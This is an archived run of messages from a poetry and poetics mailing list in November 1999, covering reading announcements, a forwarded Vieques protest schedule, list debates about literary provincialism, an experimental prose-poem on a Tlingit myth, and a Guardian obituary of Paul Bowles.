Mt. Kisco, NY: The Creative Arts Cafe at the Northern Westchester Center for the Arts will feature poet Amy Holman on Monday, December 22, at 7:30 PM. Amy Holman recently read segments of her work in October at NWCA's Writers' Resource Symposium which she helped organize with Cindy Beer-Fouhy, Director of Literary Arts. Ms Holman was invited to return as a feature for the Café's Poetry Series. A reception and open mike will follow.

Amy Holman is a poet and prose writer and Director of the Literary Horizons program at Poets & Writers, Inc, where she co-founded The Publishing Seminars in 1995. She writes columns on publishing issues for P&W Online and Poets & Writers Magazine, and is the Associate Editor of The First Book Market, Macmillan, 1998. Her poetry is published Literal Latte, The Metropolitan Review, The Best American Poetry 1999 (Scribner, 1999), and The Second Word Thursdays Anthology (Bright Hill Press, 1999).

The Northern Westchester Center for the Arts is located at 272 No. Bedford Road in Mt. Kisco, NY 10549. There is a Suggested Donation of $7.00, $5.00 for students and seniors. Please call [redacted] for directions from NYC and information regarding a schedule of weekly poetry readings.

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365. P.Standard Schaefer
Rhizome
Thu 18 Nov 1999

In need of help.

I've received a lot of reviews for the next issue of Rhizome which is good.

Which is bad is more than one of them don't have names on them. Anywhere on them.

Will the writer of the Anselm Berrigan or Cole Swensen or Laynie Brown reviews please contact ASAP.

If I can't find the writers, I'll likely publish the reviews with my own editorial fixes (for those full of what I perceive as typos) and publish them anonymously so that the book being reviewed gets its due.

Thanks.

Standard Schaefer

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366. Gerald Schwartz
Re: earliest american poem
Thu 18 Nov 1999

Surely the lyrics and verse composed by Seminole, Hopi, Navajo, Pima, Havasupai, Arapaho, Paiute, Nootka and other Indian sources, including your own adjacent Oneida and Mohawk Nations....were here first.

Of couse if you're talking sole about colonialization and its European hubris...then that is something altogether. I may have misunderstood.

All Best,
Gerald

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367. David Baptiste Chirot
[Y4M] Re: URGENT Demos: United With Vieques: Cities & Events across the Americas
Thu 18 Nov 1999

>
> >--------- Forwarded message ----------
> >From: Vieques Libre <[redacted]>
> >To: <[redacted]>
> >Date: Thu, 18 Nov 1999 01:43:16 -0600
> >Subject: United With Vieques: List of Cities &
> Events across the U.S.
> >Message-ID: <199911180143.SM00157@f_marrero>
> >
> > . . . Seven months of struggle in Vieques...
> >
> >WE ARE MORE UNITED THAN EVER!
> >WIDE FRONT OF SUPPORT FOR VIEQUES ON NOVEMBER 19,
> 1999
> >
> >
> > . . this Friday November 19 more than fifteen
> cities will have
> >demonstrations against the
> >bombing of Vieques. . .
> >

> >This past Saturday, President Clinton informed the
> Governor of Puerto
> >Rico that he may soon
> >allow the US Navy to resume bombing in Vieques,
> Puerto Rico, against the
> >will of the people. A
> >final decision has yet to be announced, but it is
> imminent. Massive
> >pro-Vieques demonstrations
> >will be held this Friday in Vieques, as well as in
> more than fifteen
> >cities in the United States. This
> >Friday marks the seventh month anniversary of the
> death of Viequense
> >civilian David Sanes as
> >a result of a US Navy bomb dropped in Vieques. At
> this critical
> >juncture, all these cities will be
> >having massive demonstrations in support of the
> demands of the people of
> >Vieques, that the US
> >Navy leave Vieques now and not drop one more bomb
> or fire one more bullet
> >in Vieques.
> >
> >
> >----------
> >
> >Jersey City, NJ
> >Vieques, Puerto Rico
> >New York City, NY
> >Washington, DC
> >Hartford, CT
> >Baltimore, MD
> >Providence, RI
> >Cambridge, MA
> >San Francisco, CA
> >Minneapolis, MN
> >Philadelphia, PA
> >Gainesville, FL
> >Hanover, NH
> >Cleveland, OH

> >
> >----------
> >
> >Jersey City, NJ
> >
> >
> >Thursday November 18
> >Time: 6 pm
> >ComitÈ Pro Vieques, Puerto Rico de Hudson County is
> organizing a March on
> >November 18,
> >1999 6pm from Roberto Clemente Little League Field
> (6th and Manila
> >Avenue) to Jersey City Hall
> >(280 Grove Street.) Contact: Anthony Cruz
> 201-7927609
> >Vieques Support Campaign -
> [redacted]
> >
> >19 de Noviembre de 1999
> >WE ARE MORE UNITED THAN EVER!
> >SHOW YOUR SUPPORT FOR VIEQUES
> >Vieques, Puerto Rico
> >"Todo Puerto Rico Pa' Vieques"
> >Habr· movilizaciÛn para Vieques desde el viernes 19
> de Noviembre. Para
> >informaciÛn llamar
> >al [redacted] o al localizador [redacted].Ý
> >
> >
> >New York City, NY
> >
> >Friday November 19
> >Time: 5 pm sharp
> >Demonstration and picket in an afternoon of
> world-wide solidarity for the
> >immediate removal of
> >the U.S. Navy from the island municipality of
> Vieques, Puerto Rico!Ý
> >Where: The Federal Building, 26 Federal Plaza
> > (Broadway & Reade St. Downtown
> Manhattan)

> >Take N, R trains to City Hall or 4, 5, 6, J, M to
> Brooklyn Bridge or
> >Chambers
> >
> >Contact: Vieques Support Campaign -
> [redacted]
> >
> >
> >
> >Washington, DC
> >
> >Friday November 19
> >Time: 6:00PM
> >Rally For Vieques in front of the White House
> >(Lafayette Park-SW Quadrant and the White House
> Sidewalk)
> >6:00PM this Friday in front of the White House,
> with drums, banners,
> >picket signs, bull horns, etc.,
> >and demand from President Clinton once again, loud
> and clear, that he
> >must order the US Navy
> >out of Vieques now and must not allow one more bomb
> to be dropped or one
> >more bullet to be
> >fired in Vieques. Contact: Flavio Cumpiano,
> Committee for the Rescue and
> >Development of
> >Vieques, Washington, DC ([redacted]) -
> [redacted]
> >[Flyer- Ready to Print & Distribute]
> >In .doc format for Word
> >
> >
> >
> >Hartford, Connecticut
> >
> >Friday November 19
> >Time:3:30 PM
> >Frente a la Corte Federal de Hartford
> >In front of the Federal Court (450 Main Street)
> >Contact: Iv·n Ramos - [redacted]

> >Todo Connecticut con Vieques:[redacted] /(860)
> [redacted]
> >
> >
> >
> >
> >Baltimore, MD
> >
> >Friday November 19
> >Time: 5:00PM
> >Join the Vieques Support Campaign this Friday
> -5PM-at the corner of
> >Hanover and Lombard
> >Streets (Federal Building) for a picket of
> worldwide solidarity with
> >Vieques! Demand the U.S.
> >Navy leave the island immediately.Ý
> >Contact: Organized by the Vieques Support
> Campaign-Baltimore
> >475 St. Brides Ct., Severna Park, MD 21146
> >Phone: [redacted]
> >[redacted]
> >
> >
> >
> >Providence, Rhode Island
> >
> >Friday November 19
> >Time: 6:00PM
> >ComitÈ Todo Rhode Island Con Vieques (All of Rhode
> Island With Vieques
> >Committee)
> >385 Westminster Street, Providence, RI 02903 (401)
> [redacted]
> >Rally For Vieques in front of the Federal Court
> >Kennedy Plaza, Providence, RI this Friday November
> 19 at 6:00PM
> >
> >Contact: Francisco J. Cruz [redacted] -
> [redacted]
> >[Flyer- Ready to Print & Distribute]
> >

> >
> >
> >Cambridge, MA
> >
> >Friday November 19
> >Time: 6:00-7:30PMÝ
> >PEACE FOR VIEQUES VIGIL
> >HARVARD YARD (IN FRONT OF JOHN HARVARD STATUE)
> >HARVARD PRESS EXPECTED TO ATTEND
> >HOT COFFE WILL BE SERVED-CAFE' CALIENTE
> >COME AND HELP US STOP THE BOMBING OF VIEQUES,
> PUERTO RICO!!!
>
=== message truncated ===

Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

Need a cure for the used car blues? iMotors pre-owned cars are: priced below Blue Book; fully tested & certified; &=20 carry a 7 day/700 mile money back guarantee. Look no further iMotors.com is here!
http://clickhere.egroups.com/click/1535=20

Stop the execution! New trial for Mumia!
Youth & Students for Mumia
www.peoplescampaign.org * [redacted]

-- 20 megs of disk space in your group's Document Vault
-- http://www.egroups.com/docvault/youth-4-mumia/?m=3D1

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368. **Jim Andrews**

Claire Dinsmore at Defib: hypertranscript available

Fri 19 Nov 1999

The canned version of Claire Dinsmore at Defib is available at http://webartery.com/defib/pastevents.htm (also reachable from the webartery.com home page under "Defib Interviews"). This is a hypertranscript of the Sunday Nov 7/99 show with Claire as the featured Web artist. Claire recently launched Cauldron & Net, which features work by a wide range of writers and Web artists; the show looks at that online mag and closely at a wide range of Claire's own work.

Thanks to Dan Waber for his production of the live show, and thanks to all who wrote it: Claire Dinsmore, Dan Waber, David Knoebel, Beth Garrison, Miekal And, Jennifer Ley, George Quasha, Talan Memmott, Bill Marsh, Reiner Strasser, Thomas Bell, and Skip Largent. Special thanks to Claire. It's an odd and leaping text--which is part of the energy of it--and hopefully an engaged/engaging, collaborative look at Claire's work.

Regards,
Jim Andrews

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369. Carol L. Hamshaw
[Fwd: Daphne Marlatt--TCR Writer-in-residence]
Fri 19 Nov 1999

Carol Hamshaw wrote:

> *FOR IMMEDIATE RELEASE*
> *The Capilano Review Writer-in-Residence*
> *Fir 454, 2055 Purcell Way, North Vancouver*
> *February 2000*
> *Info:* [redacted]
>
> *Daphne Marlatt*
>
> *The Capilano Review's Writer-in-Residence Program*
>
> *In the first two weeks of February 2000, Daphne Marlatt will be present at Capilano College in North Vancouver as The Capilano Review Writer-in-Residence. Marlatt will be available for one-on-one consultation to members, or anyone wishing to become a member, of The Capilano Press Society (membership is $5). She will also be giving a public reading, in conjunction with the launch of TCR's winter issue.*
>
> *West Coast poet and novelist Daphne Marlatt's most recent title is Readings from the Labyrinth (NeWest Press, 1998), a collection of essays, letters and journal entries over fifteen years. Her novel, Taken, appeared from House of Anansi in 1996, and her previous novel, Ana historic (originally published by Coach House Press, 1988), was reissued by Anansi in 1997. Lori Saint-Martin and Paul Gagne's translation was published in Quebec as Ana historique (les editions du remue-menage, 1992). Her poetry titles include Salvage (1991), Ghost Works (1993), Touch to my Tongue (1984), and Steveston (1974/84).*
>
> *She has been writer-in-residence at a number of universities in Canada and has taught English and Women's Studies at Simon Fraser University, and the Universities of British Columbia, Saskatchewan, and Victoria. Most recently*

> *(1998-99), she has taught Creative Writing and Women's Studies at the University of Saskatchewan. One of the founding editors of the bilingual feminist journal Tessera, she has likewise co-edited several other little magazines, as well as two oral histories of communities in and around Vancouver.*
>
> *Support for this program has been received from The Province of British Columbia, through the BC Gaming Commission, the Humanities Division of Capilano College, and Capilano College.*
>
> *The Capilano Review is a literary and visual art magazine published at Capilano College by The Capilano Press Society since 1972. The mandate of The Capilano Review is to encourage and publish innovative poetry, fiction, drama, and work in the visual media, in a format consistent with The Review's cross-disciplinary focus. The emphasis is on original rather than critical work. Reviews, interviews, and critiques may be printed from time to time when these enhance the reader's insight into an artist's work, or provide a context which furthers understanding and appreciation.*
>
> *Media, please call [redacted] for a review copy of TCR.*
>
> *Carol L. Hamshaw*
> *Managing Editor*
> *The Capilano Review*
> [redacted]
>
> *http://www.capcollege.bc.ca/dept/TCR*
>
> *For submission guidelines, please see*
>
> *http://www.capcollege.bc.ca/dept/TCR/submit.html*

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

↑ Index

370. Alan Sondheim
Bending, - Stooping!, Tlingit, Konniger
Fri 19 Nov 1999

-

Bending, - Stooping!, Tlingit, Konninger

"A man at Auk went on the lake after firewood. On the way round it he saw a woman floating about. Her hair was long. Looking at her for some time, he saw that her little ones were with her. He took one of the children home. When it became dark they went to sleep. It was the child of the L!enAxxidAq, and that night it went through the town picking out people's eyes. Toward morning a certain woman bore a child. In the morning, when she was getting up, this [the L!enAxxidAq's child] came in to her into the house. The small boy had a big belly full of eyes. He had taken out the eyes of all the people. The woman to whom the small boy came had a cane. He kept pointing at her eyes. Then she pushed him away with the cane. When he had done it twice, she pushed it into him. He was all full of eyes. After she had killed him the woman went through the houses. Then she began to dress herself up. She took her child up on her back to start wandering. She said, 'I am going to be the L!enAxxidAq.' When she came down on the beach she kept eating mussels. She put the shells inside of one another. As she walks along she nurses her little child."

(Swanton, Tlin- oing beaut iful movi ng maelst rom perso ab Konninger gjen niefer goin ot danc tr leopold konni ngr kno stat tel fac tinus danc Konn- inger russian ques goloid nijinsky's git Myths and Texts, #94.)

What have we here. We have a MOTHER and an abducted CHILD who eats eyes. A second WOMAN may become the MOTHER after killing the CHILD. A second CHILD, of the woman, completes the transaction, and one must never forget MUSSELS look like EYES, said Doctor Leopold Konninger. Consider this the Devolution of NIKUKO, the beautiful Russian ballet dancer, who continues day and night after night and day to pirouette for him. She flickers in and out, her pirouettes brilliant coiled energy; it is this energy which creates the mutations and transformations that fascinate him. Doctor Leo- pold Konninger imagines Nikuko gathering eyes, bending - stooping! - for mussels; he is enraptured by the twists and deformations of her tutu as she steps into the tidal pools of Swanton enAxxidAq mornig enAxxidAq's dering enAxxidAq Swanton Tlin ab transac pold Konninger flickers pirou- ettes Konninger his imagination, "Did NIKUKO return his eyes?"

("steps gingerly into the pools, bending, stooping! - stooping! - gath- ers sea-mussels, her eyes fixed, she's never dizzy, the slight scent of sea-water")

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371. **Gerald Schwartz**

Re: Rhizome

Fri 19 Nov 1999

Dear Standard:

I'm the author of the review of Laynie Browne's "The Agency of Wind".

Sorry for the inconvenience. I look forward to the next issue.

Thank you.

All Best,

Gerald Schwartz

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372. ART ELECTRONICS

ROME / TOTAL THEATRE / Intermedial Areas

Fri 19 Nov 1999

ASSESSORATO ALLE POLITICHE CULTURALI
COMUNE DI ROMA
Dipartimento Cultura - Spettacolo

"Total Theatre - Exhibition of the National Centre of Drammaturgia" 1999

Intermedial Areas

From 25 to 28 November 1999 - Teatro Greco, ROME

LECTURES:

Ugo Ronfani (President of the National Association of the Theatre Critics, Director of Hystrio);
Nico Garrone (La Repubblica Newspaper);
Lucio Chiavarelli (Prima Fila Magazine);
Gianna Gelmetti (Sipario Magazine);
Giovanni Antonucci (Historian of Theatre);
Simonetta Lux (La Sapienza University);
Enrica Tonelli Landini (Tuscia University); Bartolomè Ferrando (Valencia University);
Paolo Guzzi (Critic of Theatre of the cultural magazines "Zeta" and "Karenina.it").

PERFORMANCE BY:

- Fabio Mauri (Italy).
- Bartolomè Ferrando (Spain)

VIDEO POETRY AND VIDEO PERFORMANCE

- International Digital VIDEOS "Video Space"

curated by Caterina Davinio e Julien Blaine

EXPERIMENTAL THEATRE

- Ascanio Celestini, Compagnia del Montevaso.
- Ugo Ronfani, Compagnia e regia di Walter Manfrè.
- Cesare Milanese, Alfio Petrini.
- Accademia Filarmonica / Burattinimusica.
- Compagnia Idee di Velluto.

VISUAL ART

- Exhibition curated by Giancarlo Canepa.

ORGANIZATION

Coop. La Camera Rossa
Associazione Culturale Il Cerchio Magico
Fondazione Centro Nazionale di Drammaturgia "Teatro Totale".
Direttore artistico: Alfio Petrini.

--
KARENINA.IT
karenina.IT Experimental Web-Zine

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Directed by Caterina Davinio
http://geocities.com/Paris/Lights/7323/kareninarivista.html

Davinio Art Electronics - Archives/Videotheque / Rome / Milan
Art Electronics and Other Writings
http://space.tin.it/arte/cprezi

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373. David Knoebel
Announcement: Dream/Fall
Fri 19 Nov 1999

A poetry installation in Shamokin PA

http://home.ptd.net/~clkpoet/dream/dream.html

--
David Knoebel
-cranking out 2-3 words per day, every day, no matter what.

http://www.clickpoetry.com

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374. Tony Green
Re: Bending, - Stooping!, Tlingit, Konniger
Fri 19 Nov 1999

---

an answer to the question, Alan?

Nikuko held Dr Konninger's eyes for a long time, but she
was the first to look away. She held his eyes, never
returned them, as she went on opening mussels.

Tony

From: Alan Sondheim <[redacted]>
To: [redacted] <[redacted]>
Date: Saturday, 20 November 1999 03:00
Subject: Bending, - Stooping!, Tlingit, Konniger

"Did NIKUKO return his eyes?"
>
>("steps gingerly into the pools, bending, stooping! - stooping! - gath-
>ers sea-mussels, her eyes fixed, she's never dizzy, the slight scent of
>sea-water")
>
>
>
>_____
>

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375. Poetry Project
new on website & next week
Fri 19 Nov 1999

New on the website:

Up-to-date pages and information on the rapidly approaching

ANNUAL NEW YEAR'S DAY MARATHON READING

at the Poetry Project, January 1, 2000

http://www.poetryproject.com/ny2000.html

and at the Tiny Press Center

Jill Stengel's Letter to the Editor

Jennifer Bartlett's Review of Duration Press

and

new mentions of tiny presses

http://www.poetryproject.com/introtp.html

******

Next week

Monday, November 22nd at 8 pm

Eleni Stecopoulos & Erik Sweet

Eleni Stecopoulos's poetry has appeared in Chain, Rampike, Kiosk, and other journals. Her essay on poetics and theory is forthcoming in Open Letter. Erik Sweet is the co-editor of Tool: A Magazine and has had work published in The Hat.

Unfortunately, due to turkey, tofu-turkey & cranberry surpluses, a national holiday has been declared on Thursday, November 25th, so we have been obliged to have no readings on Wednesday, Nov. 24th and Friday, Nov. 25th. In addition, our offices will be closed Thurs & Fri, with all employees hibernating in their resuscitation chambers. However, we will return in full revivified glory the week after with readings by Douglas Goetsch & Jacqueline Waters (Mon., Nov. 29th at 8 pm); Michael Gottlieb & Jen Robinson (Wed., Dec. 1 at 8 pm); and Lydia Lunch & Nicole Blackman (Fri., Dec. 3 at 10:30 pm--yes, _the_ Lydia Lunch!).

*****

The Poetry Project is located in St. Mark's Church, at the corner of 10th St. and 2nd Ave. in New York City. All events, unless otherwise noted, are $7, $4 for students. Wheelchair access to Poetry Project events is possible with assistance and advance notice. Please call [redacted] for more information.

****

If you would like to be removed from this e-mail list, respond to this message with "Please remove me" and we will be sure to do so.

***

Have a very wonderful Thanksgiving, all of you...

**

*

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376. Maria L. Zavialov
class
Fri 19 Nov 1999

Suddenly i remembered that I should know about working class a lot. I was thoroughly drilled in marxism and leninism all through many years of school and university back in the 70s in the Soviet Union. Working class, proletariat, is a class which has no share in means of production and has to sell his labor to go on living, it's physical labor they sell, their muscular energy. To be a working class you have to be engaged in the production of goods and foods and work in industry. M.Z.

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377. david bromige
re Bromige And the Provinces
Fri 19 Nov 1999

Tom (& listmates), no offense was intended. I think of myself as being in somewhat the situAtion you, Tom, "enjoy," now that it hurts my feet so much to drive the hour and A quarter to sf/bkly. The poetic k'edge available in sonoma county, witha few shining exceptions, is not enough to keep a flea alive. People will not be au courant, and continue to write poems saying "the sheep are on fire!" I dunno why of all persons you, Tom, shd read my post for condescension. Should suppose I cast a blanket upon the boonies to snuff the light of a Tom beckett. Dont you know me better than that? My point was (I think) that not all regionalism is gonna be okay.

David

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378. Lawrence Upton
Bob Cobbing etc
Sat 20 Nov 1999

Apologies for cross-posting

Cobbing & Upton - Barbican 19 11 99 a note by Upton

Bob Cobbing and Lawrence Upton performed from Domestic Ambient Noise at the Arts Book Fair at The Barbican, London on 19 11 99 (5 pm - 5.15 pm)

The performance was one of a series running throughout the fair called "Book Activation". The contents of books are displayed in front of the audience via a video camera.

The texts used were time goes as bought (Writers Forum 1999 ISBN 0 86162 912 4) and barbacana (Writers Forum 1999 ISBN 0 86162 913 2), two new issues of D.A.N., made for the book fair.

Only one book could be displayed at a time. The plan had been to fight over which book was displayed, Upton promoting time goes as bought and Cobbing promoting barbacana, with the text in camera-view being the one to be performed. Unfortunately, the arrangement of lectern, microphone stands and camera angle did not permit this, so Cobbing controlled both books at the lectern, switching them quite rapidly at times. Upton stood behind him, responding to Cobbing and reading from his own copy of as time goes as bought and from the screen, the latter sometimes showing barbacana.

At one point Cobbing pointed to the book, first here and then there, so that his finger appeared on the screen and both performed what he pointed at.

The performance was well-attended and well-received.

Both old gits perform again Saturday, 20 November 1999 at 3.30.

time goes as bought and barbacana will be performed again, but more briefly. Also to be launched / performed are:

Traces by Peter French (Writers Forum 1999 ISBN 0 86162 972 2)

and two new publications by Bob Cobbing put out by Nicholas Johnson:

kob bok: selected text of bob cobbing (1949-1999) (ISBN 1 901538 27 3) Etruscan books - can't remember the price
&
shrieks & hisses: collected poems volume sixteen (ISBN 1 901538 26 5) Etruscan books £5

available from Peter Riley in UK, Collected Works in Australia and SPD in USA - according to the information in the books

no time yet to pay any attention to them beyond seeing that they are handsome production jobs

L

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379. **david bromige**
Provincialism, regionalism
Sat 20 Nov 1999

Pete Spence (& listmates), it's difficult to see how Pete's pence were well spent labeling my appellation "sunday painters" (for writers who will not learn their history) as "pedantry." A pedant, surely, even in Pete's pants, is one who insists

on UNnecessary studies. I am really surprised (though shouldn't be : I think too well of people) how quickly those who live in the boonies (outbeck, I 'speck, in Pete's pens) bristle up at the plain truth....Why take it personally? I simply commented on a backwardness of ambience. I wouldnt know whether it applied to Pete's case until I saw some of his poetry. In Tom Beckett's case, what was more puzzling was that he only got minatory with me AFTER agreeing that it's tough to write in Dodge, which was my basic plaint.

Sometimes I get the feeling that I am not read carefully even on this List, which I had hoped was a better place to look for such care, than where I live here in wine-hog heaven. Look at my post again to see it is no individual I target, but a backward condition of endeavor. From which wish who may can exempt himself...in Tom's case, on the evidence; in Pete's case, for Pete's sake, presumably through his practice, soon to be known to us city-slickers of the net, one trusts (or is already, and I, the provincial in this respect). I expect the X=Spence equation resolved quickly, so that the one impression I have of his writerly powers, can extend beyond a feeble eye-pun. David

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380. david bromige
re name thAt quote
Sat 20 Nov 1999

> *Hello Poetics,*
> *Another one of my damnable queries. Does anyone recognize the author/source of the following?*
>
> *"A dominant ideological formation is constituted by a relatively coherent set of 'discourses' of values, representations and beliefs which, realised in certain material apparatuses and related to the structures of material production, so reflect the experiential relations of individual subjects to their social conditions as to guarantee those misperceptions of the 'real' which contribute to the reproduction of the dominant social relations" (54).*
>
> *I dont know, but it is obviously a satirical jab at contemporary critical jargon.*

That's right, George....shouldn't it read "apparati"? And if there are to be scare quotes around "discourses" and "real," why not around "realised," "reflect" and "relations" ? So, already we know its author is far from thorough, and no norte americano (or do Canadians drop the z when they realize something, as their British cousins do?)

David

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381. Brendan Lorber
LUNGFULL!8: The Stakes are Big...
Sat 20 Nov 1999

. . .& The Mistakes are Bigger. Here at LUNGFULL! Magazine, where the name goes on before the quality goes in, we are delighted to announce the release of issue number eight. To mark this occasion it's

THE LUNGFULL MAGAZINE RELEASE PARTY & GALA READING SPECTACULAR

to which YOU are now invited.

THURSDAY 2 DECEMBER 1999
at 8:30pm SHARP!
(forgive the yelling, but I get very enthusiastic about times & dates)
at SEGUE SPACE
(& about places)
303 east 8th Street between Avenues B&C
Admission? I admit nothing! ADMISSION IS FREE
Soothing refreshments & laminated Magazines will be served

Hop a cheap flight to New York City,
then take the F Train to 2nd Avenue or the 6 to Astor Place
or the N/R to 8th Street & then follow the crowds of literati & their fans.

Appearing will be:
Eileen Myles
Bill Kushner
Sparrow
Betsy Andrews
Donna Cartelli
Jen Robinson
Tom Savage
Lytle Shaw
Jordan Davis
Andrew Epstein
Betsy Fagin
Joanna Fuhrman
Noelle Kocot
Brendan Lorber
Mike Topp

Susan Maurer
& others

In the issue itself? Indran Amirthanayagam, Betsy Andrews, Michael Basinski, Bill Berkson, Elisa Biagini, Donna Cartelli, Jeff Conant, Jordan Davis, Buck Downs, Andrew Epstein, Brett Evans, Betsy Fagin, Joanna Fuhrman Ken Hunt, Noelle Kocot, Tuli Kupferberg, Richard Kostelanetz, Bill Kushner, Brendan Lorber, Susan Marshall, Chris McCreary, Edward Mycue, Thomas Nousias, Mark Pawlak, Richard Martin, Susan Maurer, Jen Robinson, Tom Savage, Eileen Myles, Hoa Nguyen, Lytle Shaw, Julie Sloane, Ken Raines, Julie Reid, Sparrow, Mike Topp

PLUS Letters & Poems to the Editor from people claiming to be: Jewel, Albert DeSilver, Chris McCreary, Allen Bramhall, Jeff Nelson, Ahimsa Timoteo Bodhrán & Eddie Berrigan. Also a manifesto from the editor, a rejection letter to the editor & an attempted coup from Asheville, North Carolina.

For more information call us at LUNGFULL! World Headquarters
deep within a secret volcano in Central Park [redacted]
or give [redacted] a whirl

As always I remain the humble busboy of your heart,
Brendan Lorber
Editor & Publisher
LUNGFULL! Magazine

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382. Jerrold Shiroma
New Small Press Publications List
Sat 20 Nov 1999

This weeks Small Press Publications List is now online @ Duration Press.

http://www.durationpress.com/announce/announcements.html

Publishers wishing to have their new / recent publications included in the next listing (Dec 3rd deadline), should send all information (titles, authors, prices, contact information, etc.) to [redacted]

We've been doing this for 2 months, & would like to thank all the publishers who have contributed to this project.

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383. **Pierre Joris**
Re: Paul Bowles
Sat 20 Nov 1999

Here is a more detailed obit for Paul Bowles, from yesterday's Manchester Guardian:

Paul Bowles Obituary

Gary Pulsifer
Friday November 19, 1999
The Guardian

Much-travelled American writer and composer who made his home in Morocco, the setting for his best-known novel, The Sheltering Sky, Paul Bowles, who has died aged 88, found inspiration from a long association with Morocco and her peoples. His semi-autobiographical novel, The Sheltering Sky, filmed in 1990 by Bertolucci, was one of the seminal novels of mid-20th century American fiction, while his musical compositions, lighter in mood, were critical and commercial successes on Broadway.

It was Gertrude Stein who first suggested that "Freddy" Bowles should visit Morocco. "You don't want to go to Ville Franche. Everybody's there. And St Jean-de-Luz is empty and with an awful climate. The place you should go is Tangier. Alice and I've spent three summers there, and it's fine." In 1931, Bowles and his mentor, the American composer Aaron Copland, took a villa overlooking the Strait of Gibraltar, but it was not until 1947 that Bowles and his wife Jane settled permanently in Morocco.

Paul Bowles was born on Long Island. Family legend had it that his father Claude, a successful dentist, placed his six-week-old only child in a basket before an open window during a snowstorm. Certain death was avoided by the discovery of the naked infant by his maternal grandmother. In any event, Bowles senior was a strict disciplinarian: the young Bowles was forced at mealtimes to chew each mouthful of food at least 40 times, following the practice of Horace Fletcher, the "Moses of Mastication". Bowles's mother Rena, on the other hand, read him works by Nathaniel Hawthorne and Edgar Allan Poe as bedtime stories.

Bowles cited Poe as a particular influence, even choosing to attend the university of Virginia in 1927, as this had been Poe's college. Although Bowles made the dean's list during his first term, he was not cut out for university life in a sleepy southern town and, without a word to his family, he set sail for France, travelling on an old Dutch steamer. In Paris he worked briefly as a switchboard operator at the Herald Tribune but soon returned to New York, taking a job at Dutton's Bookshop on Fifth Avenue.

Already Bowles's poetry was appearing in the Paris-based surrealist magazine, transition, alongside the work of André Breton, James Joyce and Gertrude Stein. He began studying composition with Copland and guest-edited one issue of his university's magazine, soliciting a contribution from Stein. In 1931, when Bowles returned to Paris, he visited the legendary American author and art collector at her home at 27 Rue de Fleurs. "I was sure from your letters that you were an elderly gentleman of at least 75," said Stein. "A highly eccentric elderly gentleman," added her companion Alice B Toklas.

Through Stein's circle, in the space of two weeks Bowles met Jean Cocteau, Ezra Pound, Virgil Thompson, Pavel Tchelitchew and André Gide, before going with Copland to Berlin. There, Bowles came into contact with Stephen Spender, Christopher Isherwood and Jean Ross, Isherwood's model for Sally Bowles in Goodbye to Berlin.

Back in Paris, Bowles took a studio in the same building as Virgil Thompson, who found him "a dazzling blond. We became very good friends... He started playing me his music as we got acquainted. It was absolutely charming, sweet, school of Ravel." Bowles was a pupil of Nadia Boulanger in Paris for some months, but his primary musical training was under Copland and Thompson.

The following year, Bowles trekked across the Sahara by camel. He then rented a house in Tangier, using it as a studio for piano composition. (Bowles shared the house with Djuna Barnes, who began writing Nightwood here.) His Sonata for Oboe and Clarinet, inspired by a Kurt Schwitters poem, was heard at the Aeolian Hall in London, while his Sonatina for Piano had been performed in New York.

By 1935 he had met the choreographer George Balanchine, who commissioned Bowles to compose Yankee Clipper for his dance company. Bowles's increasing reputation as a composer led to lucrative work on Broadway and he would go on to compose the music for a number of Broadway productions, including Lillian Hellman's Watch on the Rhine; the stage version of South Pacific; Jacobowsky and the Colonel, directed by Elia Kazan; and John Ford's Jacobean tragedy 'Tis Pity She's a Whore. He wrote the incidental music for Tennessee Williams's plays The Glass Menagerie, The Milk Train Doesn't Stop Here Anymore, Sweet Bird of Youth and Summer and Smoke; while Williams got him a job as screenwriter on Visconti's film Senso (although the Italian director had Williams rewrite Bowles's sex scenes).

Altogether, Bowles created 150 original musical compositions. In 1943 his zarzuela The Wind Remains, based on a surrealist tragicomedy by Lorca, received its premiere at MOMA in New York, with choreography by Merce Cunningham and Leonard Bernstein conducting. Bowles also composed the music for a ballet based on Verlaine's poem Colloque Sentimental with sets by

Salvador Dali. Commented Newsweek: "Paul Bowles's beautiful score was wrecked by Dali's usual outlandish weirdness."

It was in 1937 that Bowles met the Jewish lesbian writer Jane Auer, at a party in Harlem. Jane recalled: "He wrote music and was mysterious and sinister. The first time I saw him I said, he's my enemy." Nevertheless, Paul and Jane and another couple travelled by bus to Mexico; Bowles went on to Guatemala. (Before the trip, Bowles had printed 15,000 stickers bearing the legend "Death to Trotsky" which he distributed throughout Mexico, where the exile was living.)

On February 21 1938, Paul and Jane were married in a Dutch Reform Church in New York, on the eve of Jane's 21st birthday. They honeymooned in Central America, travelling to Panama on a Japanese freighter with two steamer trunks, 18 large valises and a gramophone - a parrot was acquired en route.

Their honeymoon continued in Costa Rica, where they stayed at a cattle ranch, before they set sail to France on a ship filled with German Nazi sympathisers. So began the years of travel for the Bowleses, sometimes together, often apart. That autumn found the couple back in New York at the Chelsea Hotel. They joined the Communist party; later, when Paul tried to leave, the organisation informed him he could only be expelled. By 1941, they were living in Brooklyn with WH Auden, Peter Pears and Benjamin Britten; Britten kept his piano in the living room while Paul practised on his in the cellar. Bowles was awarded a $2500 Guggenheim fellowship to compose his opera Yerma, and Virgil Thompson offered him a job as assistant music critic on the New York Herald Tribune, a position he held for four years.

Bowles was led back to Morocco in 1947 by a vivid dream of Tangier. In the wake of the war, Tangier was an "international zone" governed by seven Western powers, and the city was notorious for its lax morals and louche lifestyle. The Bowleses' marriage, however, was curious even by the standards of jaded Tangerines. Jane established a number of affairs with women friends, most notably with Cherifa, an 18-year-old grain-seller. Many people (her husband included) saw this illiterate peasant woman as a malign influence. Bowles interested himself in a number of young Moroccan men, whose oral fiction he went on to translate from Maghrebi and classical Arabic. For one young Moroccan protegé, Ahmed Yacoubi, he arranged exhibitions of his paintings.

Eventually the Bowleses took separate apartments in a building near the American consulate, leading semi-independent lives but usually meeting for dinner. While Paul found creative inspiration in his Moorish surroundings, for Jane, cut off from her American roots, Morocco became a cultural wasteland. She did not complete any new work while in Morocco; indeed her output was

limited to a couple of highly praised novels, one play and one or two other writings.

Instead, she threw her sparkling personality into a Tangier social scene orchestrated by the Hon David Herbert. Too many evenings spent drinking at the Parade Bar, mixed with a careless use of prescribed medicines, resulted in a stroke in 1956; she was eventually confined to a nursing home in Malaga, where she died in 1973. After Jane's death, Paul's output was to dwindle. "Her death was a terrible ordeal, as it was half of myself that I lost. I no longer wanted to do anything at all."

